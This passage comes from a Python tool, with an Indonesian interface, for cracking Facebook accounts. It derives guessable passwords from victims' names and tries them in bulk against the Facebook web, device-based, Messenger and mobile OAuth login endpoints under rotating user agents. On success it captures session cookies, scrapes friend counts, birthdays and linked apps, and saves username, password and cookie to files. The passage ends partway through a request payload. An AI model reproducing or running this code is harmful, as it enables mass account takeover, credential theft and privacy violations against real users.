  655.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  656.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  657.                             continue
  658.                         else: self.password.append(f'{str(passwords).lower()}')
  659.                 elif Password_Akun =='04' or Password_Akun =='4':
  660.                     for passwords in self.password_manual:
  661.                         self.password.append(f'{passwords.lower()}')
  662.                 else:
  663.                     for nama in fullname.split(' '):
  664.                         if len(nama) < 3 or len(nama) < 5: continue
  665.                         else:
  666.                             for passwords in [f'{nama}321',f'{nama}123', f'{nama}12345']:
  667.                                 self.password.append(f'{str(passwords).lower()}')
  668.                     for passwords in [f'{fullname}', f'{fullname.replace(" ", "")}']:
  669.                         if len(passwords) < 6 or str(passwords).replace(' ', '').isalnum() == False:
  670.                             continue
  671.                         else: self.password.append(f'{str(passwords).lower()}')
  672.                 if 'ya' in self.masukan_sandine:
  673.                     for Pemasukan_Password in self.password_manuale:
  674.                         self.password.append(Pemasukan_Password)
  675.                 if Kntl in ('1') or Kntl in ('01'): V.submit(self.ExecWeb, username, self.password)
  676.                 elif Kntl in ('2') or Kntl in ('02'): V.submit(self.ExecReguler, username, self.password)
  677.                 elif Kntl in ('3') or Kntl in ('03'): V.submit(self.ExecMassenger, username, self.password)
  678.                 elif Kntl in ('4') or Kntl in ('04'): V.submit(self.ExecAsyinc, username, self.password)
  679.                 elif Kntl in ('5') or Kntl in ('05'): V.submit(self.ExecRegulerApi, username, self.password)
  680.                 elif Kntl in ('6') or Kntl in ('06'): V.submit(self.ExecApi, username, self.password)
  681.                 else: V.submit(self.ExecWeb, username, self.password)            
  682.         Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Kamu Telah Mendapatkan [bold green]{self.ok}[bold white] Hasil [bold green]Success[bold white] Dan [bold red]{self.cp}[bold white] Hasil [bold red]Checkpoint[bold white] Dari [bold blue]{len(dump)}[bold white] ID, Semua Hasil Tersimpan Di Result!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] ([bold blue]Selesai[bold grey50]) [bold green]<[bold yellow]<[bold red]<"))
  683.         exit()
  684.                
  685.     def ExecWeb(self, username, password):
  686.         byps = requests.Session()
  687.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  688.         ua_generate = Requ().useragent_fb()
  689.         while True:
  690.             try:
  691.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  692.                 else: ua_generate
  693.                 byps.headers.update({
  694.                     'accept-language': 'en-US,en;q=0.9',
  695.                     'sec-fetch-mode': 'navigate',
  696.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  697.                     'connection': 'keep-alive',
  698.                     'sec-ch-ua-mobile': '?0',
  699.                     'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
  700.                     'sec-fetch-sest': 'document',
  701.                     'sec-fetch-site': 'none',
  702.                     'cache-control': 'max-age=0',
  703.                     'sec-fetch-user': '?1',
  704.                     'upgrade-insecure-requests': '1',
  705.                     'host': 'web.facebook.com',
  706.                     'user-agent': ua_generate,
  707.                 })
  708.                 self.poge = byps.get('https://web.facebook.com/').text
  709.                 try:
  710.                     privacy_mutation_token = re.search('action="/login/\\?privacy_mutation_token=(.*?)"', str(self.poge)).group(1)
  711.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  712.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  713.                     login_source = re.search('name="login_source" value="(.*?)"', str(self.poge)).group(1)
  714.                     next = re.search('name="next" value="(.*?)"', str(self.poge)).group(1)
  715.                     __spin_t = re.search('"__spin_t":(\d+),', str(self.poge)).group(1)
  716.                     __js_datr = re.search('"_js_datr","(.*?)",', str(self.poge)).group(1)
  717.                 except (AttributeError) as e:    
  718.                     continue
  719.                 self.payload = {
  720.                     'lsd': lsd,
  721.                     'jazoest': jazoest,
  722.                     'login_source': login_source,
  723.                     'next': next,
  724.                 }
  725.                 byps.headers.update({
  726.                     'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()])+';__js_datr='+str(__js_datr),
  727.                     'sec-fetch-site': 'same-origin',
  728.                     'origin': 'https://web.facebook.com',
  729.                     'accept': '*/*',
  730.                     'sec-ch-ua-platform': 'Linux',
  731.                     'content-type': 'application/x-www-form-urlencoded',
  732.                     'x-fb-lsd': self.payload['lsd'],
  733.                     'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
  734.                     'referer': 'https://web.facebook.com/Index.php?',
  735.                     'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
  736.                 })
  737.                 #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  738.                 break
  739.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecWeb(username, password)
  740.             except (Exception) as e: pass
  741.         for passe in password:
  742.             try:
  743.                 self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(__spin_t, passe)})
  744.                 self.response = byps.post('https://web.facebook.com/login/?privacy_mutation_token={}'.format(privacy_mutation_token), data = self.payload, allow_redirects = True)
  745.                 if 'c_user' in byps.cookies.get_dict().keys():
  746.                     self.ok+=1
  747.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  748.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  749.                     except (Exception) as e: convert_username = username
  750.                     if 'ya' in self.opsi:
  751.                         try:
  752.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  753.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  754.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  755.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  756.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  757.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  758.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  759.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  760.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  761.                             else:
  762.                                 for apk in active: true.add(f"{apk}")
  763.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  764.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  765.                             else:
  766.                                 for apk in inactive: true.add(f"{apk}")
  767.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  768.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  769.                             else:
  770.                                 for apk in deleted: true.add(f"{apk}")
  771.                             printz(tree)
  772.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  773.                         except (Exception) as e:
  774.                             print(e)
  775.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  776.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  777.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  778.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  779.                             printz(tree)
  780.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  781.                     else:
  782.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  783.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  784.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  785.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  786.                         printz(tree)
  787.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  788.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  789.                         wr.write(save)
  790.                         wr.close()
  791.                     break
  792.                 elif 'checkpoint' in byps.cookies.get_dict().keys():
  793.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  794.                     except (Exception) as e: convert_username = username
  795.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  796.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  797.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  798.                     printz(tree)
  799.                     self.cp+=1
  800.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  801.                         wr.write(f'{convert_username}|{passe}\n')
  802.                         wr.close()
  803.                     break  
  804.                 else: continue
  805.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  806.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  807.                 time.sleep(31)
  808.         self.lp+=1    
  809.        
  810.     def ExecReguler(self, username, password):
  811.         byps = requests.Session()
  812.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  813.         ua_generate = Requ().useragent_fb()
  814.         while True:
  815.             try:
  816.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  817.                 else: ua_generate
  818.                 byps.headers.update({
  819.                     'accept-language': 'en-US,en;q=0.9',
  820.                     'sec-fetch-mode': 'navigate',
  821.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  822.                     'connection': 'keep-alive',
  823.                     'sec-ch-ua-mobile': '?0',
  824.                     'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
  825.                     'sec-fetch-sest': 'document',
  826.                     'sec-fetch-site': 'none',
  827.                     'cache-control': 'max-age=0',
  828.                     'sec-fetch-user': '?1',
  829.                     'upgrade-insecure-requests': '1',
  830.                     'host': 'web.facebook.com',
  831.                     'user-agent': ua_generate,
  832.                 })
  833.                 self.poge = byps.get('https://web.facebook.com/').text
  834.                 try:
  835.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  836.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  837.                     login_source = re.search('name="login_source" value="(.*?)"', str(self.poge)).group(1)
  838.                     next = re.search('name="next" value="(.*?)"', str(self.poge)).group(1)
  839.                     __spin_t = re.search('"__spin_t":(\d+),', str(self.poge)).group(1)
  840.                     __js_datr = re.search('"_js_datr","(.*?)",', str(self.poge)).group(1)
  841.                 except (AttributeError) as e:
  842.                     continue
  843.                 self.payload = {
  844.                     'lsd': lsd,
  845.                     'jazoest': jazoest,
  846.                     'cred_type': '100',
  847.                     'login_source': login_source,
  848.                     'next': next
  849.                 }
  850.                 byps.headers.update({
  851.                     'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()])+';__js_datr='+str(__js_datr),
  852.                     'sec-fetch-site': 'same-origin',
  853.                     'origin': 'https://web.facebook.com',
  854.                     'accept': '*/*',
  855.                     'sec-ch-ua-platform': 'Linux',
  856.                     'content-type': 'application/x-www-form-urlencoded',
  857.                     'x-fb-lsd': self.payload['lsd'],
  858.                     'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
  859.                     'referer': 'https://web.facebook.com/?__rdc=1&__rdr=1',
  860.                     'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
  861.                 })
  862.                 #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  863.                 break
  864.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecReguler(username, password)
  865.             except (Exception) as e: pass
  866.         for passe in password:
  867.             try:
  868.                 self.payload.update({'email': username, 'encpass': '#PWD_BROWSER:0:{}:{}'.format(__spin_t, passe)})
  869.                 self.response = byps.post('https://web.facebook.com/login/device-based/regular/login/', data = self.payload, allow_redirects = True)
  870.                 if 'c_user' in byps.cookies.get_dict().keys():
  871.                     self.ok+=1
  872.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  873.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  874.                     except (Exception) as e: convert_username = username
  875.                     if 'ya' in self.opsi:
  876.                         try:
  877.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  878.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  879.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  880.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  881.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  882.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  883.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  884.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  885.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  886.                             else:
  887.                                 for apk in active: true.add(f"{apk}")
  888.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  889.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  890.                             else:
  891.                                 for apk in inactive: true.add(f"{apk}")
  892.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  893.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  894.                             else:
  895.                                 for apk in deleted: true.add(f"{apk}")
  896.                             printz(tree)
  897.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  898.                         except (Exception) as e:
  899.                             print(e)
  900.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  901.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  902.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  903.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  904.                             printz(tree)
  905.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  906.                     else:
  907.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  908.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  909.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  910.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  911.                         printz(tree)
  912.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  913.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  914.                         wr.write(save)
  915.                         wr.close()
  916.                     break
  917.                 elif 'checkpoint' in byps.cookies.get_dict().keys():
  918.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  919.                     except (Exception) as e: convert_username = username
  920.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  921.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  922.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  923.                     printz(tree)
  924.                     self.cp+=1
  925.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  926.                         wr.write(f'{convert_username}|{passe}\n')
  927.                         wr.close()
  928.                     break  
  929.                 else: continue
  930.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  931.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  932.                 time.sleep(31)
  933.         self.lp+=1  
  934.        
  935.     def ExecMassenger(self, username, password):
  936.         byps = requests.Session()
  937.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  938.         ua_generate = Requ().useragent_fb()
  939.         while True:
  940.             try:
  941.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  942.                 else: ua_generate
  943.                 byps.headers.update({
  944.                     'accept-language': 'en-US,en;q=0.9',
  945.                     'sec-fetch-mode': 'navigate',
  946.                     'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
  947.                     'connection': 'keep-alive',
  948.                     'sec-ch-ua-mobile': '?0',
  949.                     'sec-ch-ua': '"Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"',
  950.                     'sec-fetch-sest': 'document',
  951.                     'sec-fetch-site': 'none',
  952.                     'cache-control': 'max-age=0',
  953.                     'sec-fetch-user': '?1',
  954.                     'upgrade-insecure-requests': '1',
  955.                     'host': 'www.messenger.com',
  956.                     'user-agent': ua_generate,
  957.                 })
  958.                 self.poge = byps.get('https://www.messenger.com/').text
  959.                 try:
  960.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  961.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  962.                     initial_request_id = re.search('name="initial_request_id" value="(.*?)"', str(self.poge)).group(1)
  963.                     lgnrnd = re.search('name="lgnrnd" value="(.*?)"', str(self.poge)).group(1)
  964.                     lgnjs = re.search('name="lgnjs" value="(.*?)"', str(self.poge)).group(1)
  965.                     __js_datr = re.search('"_js_datr","(.*?)",', str(self.poge)).group(1)
  966.                 except (AttributeError) as e:
  967.                     continue
  968.                 self.payload = {
  969.                     'lsd': lsd,
  970.                     'jazoest': jazoest,
  971.                     'initial_request_id': initial_request_id,
  972.                     'timezone': '-420',
  973.                     'lgndim': '',
  974.                     'lgnrnd': lgnrnd,
  975.                     'lgnjs': lgnjs,
  976.                     'login': '1',
  977.                     'persistent': '1',
  978.                     'default_persistent': ''
  979.                 }
  980.                 byps.headers.update({
  981.                     'cookie': ';'.join(['%s=%s'%(name,value) for name, value in byps.cookies.get_dict().items()])+';__js_datr='+str(__js_datr),
  982.                     'sec-fetch-site': 'same-origin',
  983.                     'origin': 'https://www.messenger.com',
  984.                     'accept': '*/*',
  985.                     'sec-ch-ua-platform': 'Linux',
  986.                     'content-type': 'application/x-www-form-urlencoded',
  987.                     'x-fb-lsd': self.payload['lsd'],
  988.                     'sec-ch-ua-full-version-list': '"Chromium";v="122.0.6261.64", "Not(A:Brand";v="24.0.0.0", "Google Chrome";v="122.0.6261.64"',
  989.                     'referer': 'https://www.messenger.com/Index.php?',
  990.                     'content-length': str(len(("&").join([ "%s=%s" % (name, value) for name, value in self.payload.items() ])))
  991.                 })
  992.                 #self.proxs = {'http': 'socks5://'+random.choice(Requ().Socksku())}
  993.                 break
  994.             except (requests.exceptions.ConnectionError): time.sleep(5); self.ExecMassenger(username, password)
  995.             except (Exception) as e: pass
  996.         for passe in password:
  997.             try:
  998.                 self.payload.update({'email': username, 'pass': passe})
  999.                 self.response = byps.post('https://www.messenger.com/login/password/', data = self.payload, allow_redirects = True)
  1000.                 if 'c_user' in byps.cookies.get_dict():
  1001.                     self.ok+=1
  1002.                     print('ok')
  1003.                     cookie = (";").join([ "%s=%s" % (key, value) for key, value in byps.cookies.get_dict().items() ])
  1004.                     try: convert_username = re.findall('c_user=(\d+)', cookie)[0]
  1005.                     except (Exception) as e: convert_username = username
  1006.                     if 'ya' in self.opsi:
  1007.                         try:
  1008.                             teman_akun, tanggal_lahir = Requ().GetFriends(cookie), Requ().GetUltah(cookie)
  1009.                             Requ().bahasa(cookie); Requ().ApkActive(cookie); Requ().ApkInactive(cookie); Requ().ApkDeleted(cookie)
  1010.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1011.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1012.                             true = tree.add(Columns([Panel(f"[bold green]{teman_akun}", title = "[bold grey50] ([bold green]Teman Akun[bold grey50])", style = "bold grey50", width=30), Panel(f"[bold green]{tanggal_lahir}", title = "[bold grey50] ([bold green]Tanggal Lahir[bold grey50])", style = "bold grey50", width=30)]))
  1013.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1014.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1015.                             true = tree.add(Panel.fit("[bold green]APLIKASI AKTIF", style = "bold grey50"), style="bold white")
  1016.                             if len(active)==0: true.add('[bold green]tidak ada aplikasi terkait active')
  1017.                             else:
  1018.                                 for apk in active: true.add(f"{apk}")
  1019.                             true = tree.add(Panel.fit("[bold yellow]APLIKASI INACTIVE", style = "bold grey50"), style="bold white")
  1020.                             if len(inactive)==0: true.add('[bold yellow]tidak ada aplikasi terkait inactive')
  1021.                             else:
  1022.                                 for apk in inactive: true.add(f"{apk}")
  1023.                             true = tree.add(Panel.fit("[bold red]APLIKASI REMOVED", style = "bold grey50"), style="bold white")
  1024.                             if len(deleted)==0: true.add('[bold red]tidak ada aplikasi terkait removed')
  1025.                             else:
  1026.                                 for apk in deleted: true.add(f"{apk}")
  1027.                             printz(tree)
  1028.                             save = (f'{convert_username}|{passe}|{teman_akun}|{tanggal_lahir}|{cookie}\n')
  1029.                         except (Exception) as e:
  1030.                             print(e)
  1031.                             tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1032.                             true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1033.                             tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1034.                             tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1035.                             printz(tree)
  1036.                             save = (f'{convert_username}|{passe}|{cookie}\n')
  1037.                     else:
  1038.                         tree = Tree(Panel.fit("[bold green]LOGIN SUCCESS", style = "bold grey50"), style="bold white")
  1039.                         true = tree.add(Columns([Panel(f"[bold green]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold green]{passe}", style = "bold grey50", width=30)]))
  1040.                         tree.add(Panel(f"[bold green]{cookie}", style = "bold grey50", width=61))
  1041.                         tree.add(Panel(f"[bold green]{ua_generate}", style = "bold grey50", width=61))
  1042.                         printz(tree)
  1043.                         save = (f'{convert_username}|{passe}|{cookie}\n')
  1044.                     with open('/sdcard/OK/ok-'+self.alt,'a') as wr:
  1045.                         wr.write(save)
  1046.                         wr.close()
  1047.                     break
  1048.                 elif 'checkpoint' in str(self.response.url):
  1049.                     try: convert_username = byps.cookies.get_dict()['checkpoint'].split('3A')[1].split('%')[0]
  1050.                     except (Exception) as e: convert_username = username
  1051.                     tree = Tree(Panel.fit("[bold red]LOGIN CHECKPOINT", style = "bold grey50"), style="bold white")
  1052.                     true = tree.add(Columns([Panel(f"[bold red]{convert_username}", style = "bold grey50", width=30), Panel(f"[bold red]{passe}", style = "bold grey50", width=30)]))
  1053.                     tree.add(Panel(f"[bold red]{ua_generate}", style = "bold grey50", width=61))
  1054.                     printz(tree)
  1055.                     self.cp+=1
  1056.                     with open('/sdcard/CP/cp-'+self.alt,'a') as wr:
  1057.                         wr.write(f'{convert_username}|{passe}\n')
  1058.                         wr.close()
  1059.                     break  
  1060.                 else: continue
  1061.             except (requests.exceptions.TooManyRedirects, requests.exceptions.ConnectionError):
  1062.                 Console().print(f"[bold grey50]   ──>[bold red] KONEKSI ERROR!", end='\r')
  1063.                 time.sleep(31)
  1064.         self.lp+=1    
  1065.        
  1066.     def ExecAsyinc(self, username, password):
  1067.         byps = requests.Session()
  1068.         Console().print(f"[bold grey50]   ──>[bold white] Crack[bold green] {str(username)[:15]}[bold grey50]/[bold blue]{str(len(dump))}[bold grey50]/[bold blue]{self.lp}[bold grey50]/[bold blue]{'{:.0%}'.format(self.lp/float(len(dump)))}[bold grey50]/[bold white] Ok:-[bold green]{self.ok}[bold white] Cp:-[bold red]{self.cp}[bold white]     ", end='\r')
  1069.         ua_generate = random.choice([Requ().useragent_api(), Requ().useragent_fb()])
  1070.         while True:
  1071.             try:
  1072.                 if 'ya' in self.uaman: ua_generate = self.uaku[0]
  1073.                 else: ua_generate
  1074.                 byps.headers.update({
  1075.                     "connection": "keep-alive",
  1076.                     "accept-language": "en-US,id-ID,id;q=0.9",
  1077.                     "sec-fetch-mode": "navigate",
  1078.                     "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
  1079.                     "sec-fetch-sest": "document",
  1080.                     "sec-fetch-site": "none",
  1081.                     "cache-control": "max-age=0",
  1082.                     "upgrade-insecure-requests": "1",
  1083.                     'sec-fetch-user': '?1',
  1084.                     "Host": "m.prod.facebook.com",
  1085.                     "user-agent": ua_generate,
  1086.                 })
  1087.                 self.poge = byps.get('https://m.prod.facebook.com/login.php?skip_api_login=1&api_key=665739203554918&kid_directed_site=0&app_id=665739203554918&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fdialog%2Foauth%3Fdisplay%3Dtouch%26auth_type%3Dreauthenticate%26response_type%3Dcode%26redirect_uri%3Dhttps%253A%252F%252Faccounts.stockx.com%252Flogin%252Fcallback%26scope%3Demail%252Cpublic_profile%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%26client_id%3D665739203554918%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Da053e0a9-648e-47d1-a279-53ee2a0f9190%26tp%3Dunspecified&cancel_url=https%3A%2F%2Faccounts.stockx.com%2Flogin%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DetsBcG6cJ0M43pbB5R7E3z3xn6Gii8sd%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr').text
  1088.                 try:
  1089.                     lsd = re.search('name="lsd" value="(.*?)"', str(self.poge)).group(1)
  1090.                     jazoest = re.search('name="jazoest" value="(.*?)"', str(self.poge)).group(1)
  1091.                     li = re.search('name="li" value="(.*?)"', str(self.poge)).group(1)
  1092.                     m_ts = re.search('name="m_ts" value="(.*?)"', str(self.poge)).group(1)
  1093.                 except (AttributeError) as e:
  1094.                     continue
  1095.                 self.payload = {
  1096.                     'm_ts': m_ts,
  1097.                     'li': li,
  1098.                     'try_number': '0',
  1099.                     'unrecognized_tries': '0',
  1100.                     'prefill_contact_point': username,
  1101.                     'prefill_source': 'browser_dropdown',
  1102.                     'prefill_type': 'password',
  1103.                     'first_prefill_source': 'browser_dropdown',
  1104.                     'first_prefill_type': 'contact_point',
  1105.                     'had_cp_prefilled': 'true',
  1106.                     'had_password_prefilled': 'true',
  1107.                     'is_smart_lock': 'false',
  1108.                     'bi_xrwh': '0',
